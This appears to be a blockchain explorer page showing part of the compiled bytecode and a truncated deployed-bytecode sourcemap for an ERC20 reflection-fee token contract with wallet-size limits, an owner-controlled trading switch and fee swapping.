9565b9250828201905080821115612a5d57612a5c612a00565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000612abf6023836121df565b9150612aca82612a63565b604082019050919050565b60006020820190508181036000830152612aee81612ab2565b9050919050565b6000612b00826122e9565b9150612b0b836122e9565b9250828203905081811115612b2357612b22612a00565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612b85602a836121df565b9150612b9082612b29565b604082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b6000612bc6826122e9565b9150612bd1836122e9565b9250828202612bdf816122e9565b91508282048414831517612bf657612bf5612a00565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c37826122e9565b9150612c42836122e9565b925082612c5257612c51612bfd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612cb96021836121df565b9150612cc482612c5d565b604082019050919050565b60006020820190508181036000830152612ce881612cac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612d5c816122bd565b92915050565b600060208284031215612d7857612d77612286565b5b6000612d8684828501612d4d565b91505092915050565b6000819050919050565b6000612db4612daf612daa84612d8f565b612395565b6122e9565b9050919050565b612dc481612d99565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612dff816122ab565b82525050565b6000612e118383612df6565b60208301905092915050565b6000602082019050919050565b6000612e3582612dca565b612e3f8185612dd5565b9350612e4a83612de6565b8060005b83811015612e7b578151612e628882612e05565b9750612e6d83612e1d565b925050600181019050612e4e565b5085935050505092915050565b600060a082019050612e9d600083018861240f565b612eaa6020830187612dbb565b8181036040830152612ebc8186612e2a565b9050612ecb60608301856124c3565b612ed8608083018461240f565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612f18601b836121df565b9150612f2382612ee2565b602082019050919050565b60006020820190508181036000830152612f4781612f0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000bf34e667c8b05cf4b17e3cf7783ae3551dcb356d560f33b42d0c184bf144de64736f6c63430008120033
Deployed Bytecode Sourcemap
4150:11969:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6394:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7319:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5311:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6671:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7520:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5648:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6580:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5359:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11877:83;;;;;;;;;;;;;:::i;:::-;;6774:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1637:148;;;;;;;;;;;;;:::i;:::-;;5538:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1423:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5592:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6485:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6920:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11792:77;;;;;;;;;;;;;:::i;:::-;;5208:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7127:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1793:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6394:83;6431:13;6464:5;;;;;;;;;;;;;;;;;6457:12;;6394:83;:::o;7319:193::-;7421:4;7443:39;7452:12;:10;:12::i;:::-;7466:7;7475:6;7443:8;:39::i;:::-;7500:4;7493:11;;7319:193;;;;:::o;5311:41::-;;;;;;;;;;;;;:::o;6671:95::-;6724:7;4650:15;6744:14;;6671:95;:::o;7520:446::-;7652:4;7669:36;7679:6;7687:9;7698:6;7669:9;:36::i;:::-;7716:220;7739:6;7760:12;:10;:12::i;:::-;7787:138;7843:6;7787:138;;;;;;;;;;;;;;;;;:11;:19;7799:6;7787:19;;;;;;;;;;;;;;;:33;7807:12;:10;:12::i;:::-;7787:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7716:8;:220::i;:::-;7954:4;7947:11;;7520:446;;;;;:::o;5648:56::-;;;;:::o;6580:83::-;6621:5;4374:1;6639:16;;6580:83;:::o;5359:28::-;;;;;;;;;;;;;:::o;11877:83::-;1560:12;:10;:12::i;:::-;1550:22;;:6;;;;;;;;;;:22;;;1542:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4650:15:::1;11928:14;:24;;;;11877:83::o:0;6774:138::-;6840:7;6867:37;6887:7;:16;6895:7;6887:16;;;;;;;;;;;;;;;;6867:19;:37::i;:::-;6860:44;;6774:138;;;:::o;1637:148::-;1560:12;:10;:12::i;:::-;1550:22;;:6;;;;;;;;;;:22;;;1542:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1744:1:::1;1707:40;;1728:6;::::0;::::1;;;;;;;;1707:40;;;;;;;;;;;;1775:1;1758:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1637:148::o:0;5538:47::-;;;;:::o;1423:79::-;1461:7;1488:6;;;;;;;;;;;1481:13;;1423:79;:::o;5592:49::-;;;;:::o;6485:87::-;6524:13;6557:7;;;;;;;;;;;;;;;;;6550:14;;6485:87;:::o;6920:199::-;7025:4;7047:42;7057:12;:10;:12::i;:::-;7071:9;7082:6;7047:9;:42::i;:::-;7107:4;7100:11;;6920:199;;;;:::o;11792:77::-;1560:12;:10;:12::i;:::-;1550:22;;:6;;;;;;;;;;:22;;;1542:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11857:4:::1;11843:11;;:18;;;;;;;;;;;;;;;;;;11792:77::o:0;5208:94::-;;;;;;;;;;;;;:::o;7127:184::-;7244:7;7276:11;:18;7288:5;7276:18;;;;;;;;;;;;;;;:27;7295:7;7276:27;;;;;;;;;;;;;;;;7269:34;;7127:184;;;;:::o;1793:244::-;1560:12;:10;:12::i;:::-;1550:22;;:6;;;;;;;;;;:22;;;1542:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1902:1:::1;1882:22;;:8;:22;;::::0;1874:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1992:8;1963:38;;1984:6;::::0;::::1;;;;;;;;1963:38;;;;;;;;;;;;2021:8;2012:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1793:244:::0;:::o;182:98::-;235:7;262:10;255:17;;182:98;:::o;8659:369::-;8803:1;8786:19;;:5;:19;;;8778:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8884:1;8865:21;;:7;:21;;;8857:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8966:6;8936:11;:18;8948:5;8936:18;;;;;;;;;;;;;;;:27;8955:7;8936:27;;;;;;;;;;;;;;;:36;;;;9004:7;8988:32;;8997:5;8988:32;;;9013:6;8988:32;;;;;;:::i;:::-;;;;;;;;8659:369;;;:::o;9036:2030::-;9174:1;9158:18;;:4;:18;;;9150:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9251:1;9237:16;;:2;:16;;;9229:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9321:1;9312:6;:10;9304:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9386:18;:24;9405:4;9386:24;;;;;;;;;;;;;;;;;;;;;;;;;9385:25;:52;;;;;9415:18;:22;9434:2;9415:22;;;;;;;;;;;;;;;;;;;;;;;;;9414:23;9385:52;9381:1234;;;9494:11;;;;;;;;;;;9489:144;;9542:7;:5;:7::i;:::-;9534:15;;:4;:15;;;9526:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9489:144;9658:13;;;;;;;;;;;9652:19;;:2;:19;;;9649:146;;9725:14;;9716:6;9700:13;9710:2;9700:9;:13::i;:::-;:22;;;;:::i;:::-;:39;9692:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;9649:146;9811:28;9842:24;9860:4;9842:9;:24::i;:::-;9811:55;;9881:12;9920:19;;9896:20;:43;;9881:58;;9983:12;;9959:20;:36;9956:111;;10039:12;;10016:35;;9956:111;10087:7;:18;;;;;10099:6;;;;;;;;;;;10098:7;10087:18;:43;;;;;10117:13;;;;;;;;;;;10109:21;;:4;:21;;;;10087:43;:58;;;;;10134:11;;;;;;;;;;;10087:58;:87;;;;;10150:18;:24;10169:4;10150:24;;;;;;;;;;;;;;;;;;;;;;;;;10149:25;10087:87;:114;;;;;10179:18;:22;10198:2;10179:22;;;;;;;;;;;;;;;;;;;;;;;;;10178:23;10087:114;10083:521;;;10222:16;10251:9;;10241:7;;:19;;;;:::i;:::-;10222:38;;10279:18;10300:47;10338:8;10300:33;10325:7;;10300:20;:24;;:33;;;;:::i;:::-;:37;;:47;;;;:::i;:::-;10279:68;;10366:28;10383:10;10366:16;:28::i;:::-;10413:26;10442:21;10413:50;;10507:1;10486:18;:22;10482:107;;;10533:35;10546:21;10533:12;:35::i;:::-;10482:107;10203:401;;;10083:521;9439:1176;;9381:1234;10627:12;10642:4;10627:19;;10691:18;:24;10710:4;10691:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10719:18;:22;10738:2;10719:22;;;;;;;;;;;;;;;;;;;;;;;;;10691:50;10690:102;;;;10755:13;;;;;;;;;;;10747:21;;:4;:21;;;;:44;;;;;10778:13;;;;;;;;;;;10772:19;;:2;:19;;;;10747:44;10690:102;10686:319;;;10833:5;10823:15;;10853:38;10874:4;10880:2;10884:6;10853:20;:38::i;:::-;10686:319;;;10926:23;10940:4;10946:2;10926:13;:23::i;:::-;10966:27;10984:4;10990:2;10966:17;:27::i;:::-;10686:319;11017:41;11032:4;11038:2;11042:6;11050:7;11017:14;:41::i;:::-;9139:1927;9036:2030;;;:::o;2401:224::-;2521:7;2554:1;2549;:6;;2557:12;2541:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2581:9;2597:1;2593;:5;;;;:::i;:::-;2581:17;;2616:1;2609:8;;;2401:224;;;;;:::o;7974:323::-;8069:7;8127;;8116;:18;;8094:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8215:19;8237:10;:8;:10::i;:::-;8215:32;;8265:24;8277:11;8265:7;:11;;:24;;;;:::i;:::-;8258:31;;;7974:323;;;:::o;2633:246::-;2691:7;2720:1;2715;:6;2711:47;;2745:1;2738:8;;;;2711:47;2768:9;2784:1;2780;:5;;;;:::i;:::-;2768:17;;2813:1;2808;2804;:5;;;;:::i;:::-;:10;2796:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2870:1;2863:8;;;2633:246;;;;;:::o;2887:132::-;2945:7;2972:39;2976:1;2979;2972:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2965:46;;2887:132;;;;:::o;11074:483::-;5754:4;5745:6;;:13;;;;;;;;;;;;;;;;;;11152:21:::1;11190:1;11176:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11152:40;;11221:4;11203;11208:1;11203:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11247:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11237:4;11242:1;11237:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;11280:62;11297:4;11312:15;;;;;;;;;;;11330:11;11280:8;:62::i;:::-;11353:15;;;;;;;;;;;:66;;;11434:11;11460:1;11476:4;11503;11523:15;11353:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11141:416;5790:5:::0;5781:6;;:14;;;;;;;;;;;;;;;;;;11074:483;:::o;11685:99::-;11742:17;;;;;;;;;;;:26;;:34;11769:6;11742:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11685:99;:::o;15418:222::-;15528:4;15512:21;;:4;:21;;;;:44;;;;;15551:4;15537:19;;:2;:19;;;;15512:44;15509:79;;;15573:15;15558:12;:30;;;;15509:79;15601:31;15615:4;15621:2;15625:6;15601:13;:31::i;:::-;15418:222;;;:::o;12888:246::-;12968:13;;;;;;;;;;;12960:21;;:4;:21;;;12957:170;;13020:15;12998;:19;13014:2;12998:19;;;;;;;;;;;;;;;:37;;;;13062:14;;13050:9;:26;;;;13102:12;;13092:7;:22;;;;12957:170;12888:246;;:::o;13142:250::-;13225:13;;;;;;;;;;;13219:19;;:2;:19;;;13215:170;;13279:12;;13255:15;:21;13271:4;13255:21;;;;;;;;;;;;;;;;:36;;;;:::i;:::-;;13318:15;;13306:9;:27;;;;13359:13;;13349:7;:23;;;;13215:170;13142:250;;:::o;11968:282::-;12124:7;12119:28;;12133:14;:12;:14::i;:::-;12119:28;12158:44;12176:6;12184:9;12195:6;12158:17;:44::i;:::-;12218:7;12213:29;;12227:15;:13;:15::i;:::-;12213:29;11968:282;;;;:::o;15648:164::-;15690:7;15711:15;15728;15747:19;:17;:19::i;:::-;15710:56;;;;15784:20;15796:7;15784;:11;;:20;;;;:::i;:::-;15777:27;;;;15648:164;:::o;3027:223::-;3147:7;3179:1;3175;:5;3182:12;3167:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3206:9;3222:1;3218;:5;;;;:::i;:::-;3206:17;;3241:1;3234:8;;;3027:223;;;;;:::o;11565:112::-;11669:5;11642:11;:17;11654:4;11642:17;;;;;;;;;;;;;;;:23;11660:4;11642:23;;;;;;;;;;;;;;;;:32;;;;;;;:::i;:::-;;;;;;;;11565:112;;;:::o;8432:219::-;8492:1;8479:9;;:14;:30;;;;;8508:1;8497:7;;:12;8479:30;8511:7;8475:43;8550:9;;8530:17;:29;;;;8588:7;;8570:15;:25;;;;8620:1;8608:9;:13;;;;8642:1;8632:7;:11;;;;8432:219;:::o;12258:622::-;12405:15;12435:23;12473:12;12500:23;12538:12;12565:13;12592:19;12603:7;12592:10;:19::i;:::-;12390:221;;;;;;;;;;;;12650:28;12670:7;12650;:15;12658:6;12650:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;12632:7;:15;12640:6;12632:15;;;;;;;;;;;;;;;:46;;;;12710:39;12733:15;12710:7;:18;12718:9;12710:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;12689:7;:18;12697:9;12689:18;;;;;;;;;;;;;;;:60;;;;12762:16;12772:5;12762:9;:16::i;:::-;12789:23;12801:4;12807;12789:11;:23::i;:::-;12845:9;12828:44;;12837:6;12828:44;;;12856:15;12828:44;;;;;;:::i;:::-;;;;;;;;12379:501;;;;;;12258:622;;;:::o;8307:117::-;8363:17;;8351:9;:29;;;;8401:15;;8391:7;:25;;;;8307:117::o;15820:257::-;15871:7;15880;15900:15;15918:7;;15900:25;;15936:15;4650;15936:25;;15986:20;4650:15;15986:7;;:11;;:20;;;;:::i;:::-;15976:7;:30;15972:61;;;16016:7;;4650:15;16008:25;;;;;;;;15972:61;16052:7;16061;16044:25;;;;;;15820:257;;;:::o;13776:615::-;13876:7;13898;13920;13942;13964;13986;14022:23;14047:12;14061:13;14091:40;14103:7;14112:9;;14123:7;;14091:11;:40::i;:::-;14021:110;;;;;;14142:19;14164:10;:8;:10::i;:::-;14142:32;;14186:15;14203:23;14228:12;14257:46;14269:7;14278:4;14284:5;14291:11;14257;:46::i;:::-;14185:118;;;;;;14322:7;14331:15;14348:4;14354:15;14371:4;14377:5;14314:69;;;;;;;;;;;;;;;;;;;13776:615;;;;;;;:::o;2257:136::-;2315:7;2342:43;2346:1;2349;2342:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2335:50;;2257:136;;;;:::o;2070:179::-;2128:7;2148:9;2164:1;2160;:5;;;;:::i;:::-;2148:17;;2189:1;2184;:6;;2176:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2240:1;2233:8;;;2070:179;;;;:::o;13400:211::-;13453:19;13475:10;:8;:10::i;:::-;13453:32;;13496:13;13512:22;13522:11;13512:5;:9;;:22;;;;:::i;:::-;13496:38;;13570:33;13597:5;13570:7;:22;13586:4;13570:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;13545:7;:22;13561:4;13545:22;;;;;;;;;;;;;;;:58;;;;13442:169;;13400:211;:::o;13619:147::-;13697:17;13709:4;13697:7;;:11;;:17;;;;:::i;:::-;13687:7;:27;;;;13738:20;13753:4;13738:10;;:14;;:20;;;;:::i;:::-;13725:10;:33;;;;13619:147;;:::o;14399:469::-;14568:7;14590;14612;14647:12;14662:30;14688:3;14662:21;14674:8;14662:7;:11;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;14647:45;;14703:13;14719:28;14743:3;14719:19;14731:6;14719:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;14703:44;;14758:23;14784:28;14806:5;14784:17;14796:4;14784:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;14758:54;;14831:15;14848:4;14854:5;14823:37;;;;;;;;;14399:469;;;;;;;:::o;14876:534::-;15070:7;15092;15114;15149:15;15167:24;15179:11;15167:7;:11;;:24;;;;:::i;:::-;15149:42;;15202:12;15217:21;15226:11;15217:4;:8;;:21;;;;:::i;:::-;15202:36;;15249:13;15265:22;15275:11;15265:5;:9;;:22;;;;:::i;:::-;15249:38;;15298:23;15324:28;15346:5;15324:17;15336:4;15324:7;:11;;:17;;;;:::i;:::-;:21;;:28;;;;:::i;:::-;15298:54;;15371:7;15380:15;15397:4;15363:39;;;;;;;;;;14876:534;;;;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:86::-;5431:7;5471:4;5464:5;5460:16;5449:27;;5396:86;;;:::o;5488:112::-;5571:22;5587:5;5571:22;:::i;:::-;5566:3;5559:35;5488:112;;:::o;5606:214::-;5695:4;5733:2;5722:9;5718:18;5710:26;;5746:67;5810:1;5799:9;5795:17;5786:6;5746:67;:::i;:::-;5606:214;;;;:::o;5826:118::-;5913:24;5931:5;5913:24;:::i;:::-;5908:3;5901:37;5826:118;;:::o;5950:222::-;6043:4;6081:2;6070:9;6066:18;6058:26;;6094:71;6162:1;6151:9;6147:17;6138:6;6094:71;:::i;:::-;5950:222;;;;:::o;6178:329::-;6237:6;6286:2;6274:9;6265:7;6261:23;6257:32;6254:119;;;6292:79;;:::i;:::-;6254:119;6412:1;6437:53;6482:7;6473:6;6462:9;6458:22;6437:53;:::i;:::-;6427:63;;6383:117;6178:329;;;;:::o;6513:104::-;6558:7;6587:24;6605:5;6587:24;:::i;:::-;6576:35;;6513:104;;;:::o;6623:142::-;6726:32;6752:5;6726:32;:::i;:::-;6721:3;6714:45;6623:142;;:::o;6771:254::-;6880:4;6918:2;6907:9;6903:18;6895:26;;6931:87;7015:1;7004:9;7000:17;6991:6;6931:87;:::i;:::-;6771:254;;;;:::o;7031:474::-;7099:6;7107;7156:2;7144:9;7135:7;7131:23;7127:32;7124:119;;;7162:79;;:::i;:::-;7124:119;7282:1;7307:53;7352:7;7343:6;7332:9;7328:22;7307:53;:::i;:::-;7297:63;;7253:117;7409:2;7435:53;7480:7;7471:6;7460:9;7456:22;7435:53;:::i;:::-;7425:63;;7380:118;7031:474;;;;;:::o;7511:182::-;7651:34;7647:1;7639:6;7635:14;7628:58;7511:182;:::o;7699:366::-;7841:3;7862:67;7926:2;7921:3;7862:67;:::i;:::-;7855:74;;7938:93;8027:3;7938:93;:::i;:::-;8056:2;8051:3;8047:12;8040:19;;7699:366;;;:::o;8071:419::-;8237:4;8275:2;8264:9;8260:18;8252:26;;8324:9;8318:4;8314:20;8310:1;8299:9;8295:17;8288:47;8352:131;8478:4;8352:131;:::i;:::-;8344:139;;8071:419;;;:::o;8496:225::-;8636:34;8632:1;8624:6;8620:14;8613:58;8705:8;8700:2;8692:6;8688:15;8681:33;8496:225;:::o;8727:366::-;8869:3;8890:67;8954:2;8949:3;8890:67;:::i;:::-;8883:74;;8966:93;9055:3;8966:93;:::i;:::-;9084:2;9079:3;9075:12;9068:19;;8727:366;;;:::o;9099:419::-;9265:4;9303:2;9292:9;9288:18;9280:26;;9352:9;9346:4;9342:20;9338:1;9327:9;9323:17;9316:47;9380:131;9506:4;9380:131;:::i;:::-;9372:139;;9099:419;;;:::o;9524:223::-;9664:34;9660:1;9652:6;9648:14;9641:58;9733:6;9728:2;9720:6;9716:15;9709:31;9524:223;:::o;9753:366::-;9895:3;9916:67;9980:2;9975:3;9916:67;:::i;:::-;9909:74;;9992:93;10081:3;9992:93;:::i;:::-;10110:2;10105:3;10101:12;10094:19;;9753:366;;;:::o;10125:419::-;10291:4;10329:2;10318:9;10314:18;10306:26;;10378:9;10372:4;10368:20;10364:1;10353:9;10349:17;10342:47;10406:131;10532:4;10406:131;:::i;:::-;10398:139;;10125:419;;;:::o;10550:221::-;10690:34;10686:1;10678:6;10674:14;10667:58;10759:4;10754:2;10746:6;10742:15;10735:29;10550:221;:::o;10777:366::-;10919:3;10940:67;11004:2;10999:3;10940:67;:::i;:::-;10933:74;;11016:93;11105:3;11016:93;:::i;:::-;11134:2;11129:3;11125:12;11118:19;;10777:366;;;:::o;11149:419::-;11315:4;11353:2;11342:9;11338:18;11330:26;;11402:9;11396:4;11392:20;11388:1;11377:9;11373:17;11366:47;11430:131;11556:4;11430:131;:::i;:::-;11422:139;;11149:419;;;:::o;11574:224::-;11714:34;11710:1;11702:6;11698:14;11691:58;11783:7;11778:2;11770:6;11766:15;11759:32;11574:224;:::o;11804:366::-;11946:3;11967:67;12031:2;12026:3;11967:67;:::i;:::-;11960:74;;12043:93;12132:3;12043:93;:::i;:::-;12161:2;12156:3;12152:12;12145:19;;11804:366;;;:::o;12176:419::-;12342:4;12380:2;12369:9;12365:18;12357:26;;12429:9;12423:4;12419:20;12415:1;12404:9;12400:17;12393:47;12457:131;12583:4;12457:131;:::i;:::-;12449:139;;12176:419;;;:::o;12601:222::-;12741:34;12737:1;12729:6;12725:14;12718:58;12810:5;12805:2;12797:6;12793:15;12786:30;12601:222;:::o;12829:366::-;12971:3;12992:67;13056:2;13051:3;12992:67;:::i;:::-;12985:74;;13068:93;13157:3;13068:93;:::i;:::-;13186:2;13181:3;13177:12;13170:19;;12829:366;;;:::o;13201:419::-;13367:4;13405:2;13394:9;13390:18;13382:26;;13454:9;13448:4;13444:20;13440:1;13429:9;13425:17;13418:47;13482:131;13608:4;13482:131;:::i;:::-;13474:139;;13201:419;;;:::o;13626:228::-;13766:34;13762:1;13754:6;13750:14;13743:58;13835:11;13830:2;13822:6;13818:15;13811:36;13626:228;:::o;13860:366::-;14002:3;14023:67;14087:2;14082:3;14023:67;:::i;:::-;14016:74;;14099:93;14188:3;14099:93;:::i;:::-;14217:2;14212:3;14208:12;14201:19;;13860:366;;;:::o;14232:419::-;14398:4;14436:2;14425:9;14421:18;14413:26;;14485:9;14479:4;14475:20;14471:1;14460:9;14456:17;14449:47;14513:131;14639:4;14513:131;:::i;:::-;14505:139;;14232:419;;;:::o;14657:250::-;14797:34;14793:1;14785:6;14781:14;14774:58;14866:33;14861:2;14853:6;14849:15;14842:58;14657:250;:::o;14913:366::-;15055:3;15076:67;15140:2;15135:3;15076:67;:::i;:::-;15069:74;;15152:93;15241:3;15152:93;:::i;:::-;15270:2;15265:3;15261:12;15254:19;;14913:366;;;:::o;15285:419::-;15451:4;15489:2;15478:9;15474:18;15466:26;;15538:9;15532:4;15528:20;15524:1;15513:9;15509:17;15502:47;15566:131;15692:4;15566:131;:::i;:::-;15558:139;;15285:419;;;:::o;15710:180::-;15758:77;15755:1;15748:88;15855:4;15852:1;15845:15;15879:4;15876:1;15869:15;15896:191;15936:3;15955:20;15973:1;15955:20;:::i;:::-;15950:25;;15989:20;16007:1;15989:20;:::i;:::-;15984:25;;16032:1;16029;16025:9;16018:16;;16053:3;16050:1;16047:10;16044:36;;;16060:18;;:::i;:::-;16044:36;15896:191;;;;:::o;16093:222::-;16233:34;16229:1;16221:6;16217:14;16210:58;16302:5;16297:2;16289:6;16285:15;16278:30;16093:222;:::o;16321:366::-;16463:3;16484:67;16548:2;16543:3;16484:67;:::i;:::-;16477:74;;16560:93;16649:3;16560:93;:::i;:::-;16678:2;16673:3;16669:12;16662:19;;16321:366;;;:::o;16693:419::-;16859:4;16897:2;16886:9;16882:18;16874:26;;16946:9;16940:4;16936:20;16932:1;16921:9;16917:17;16910:47;16974:131;17100:4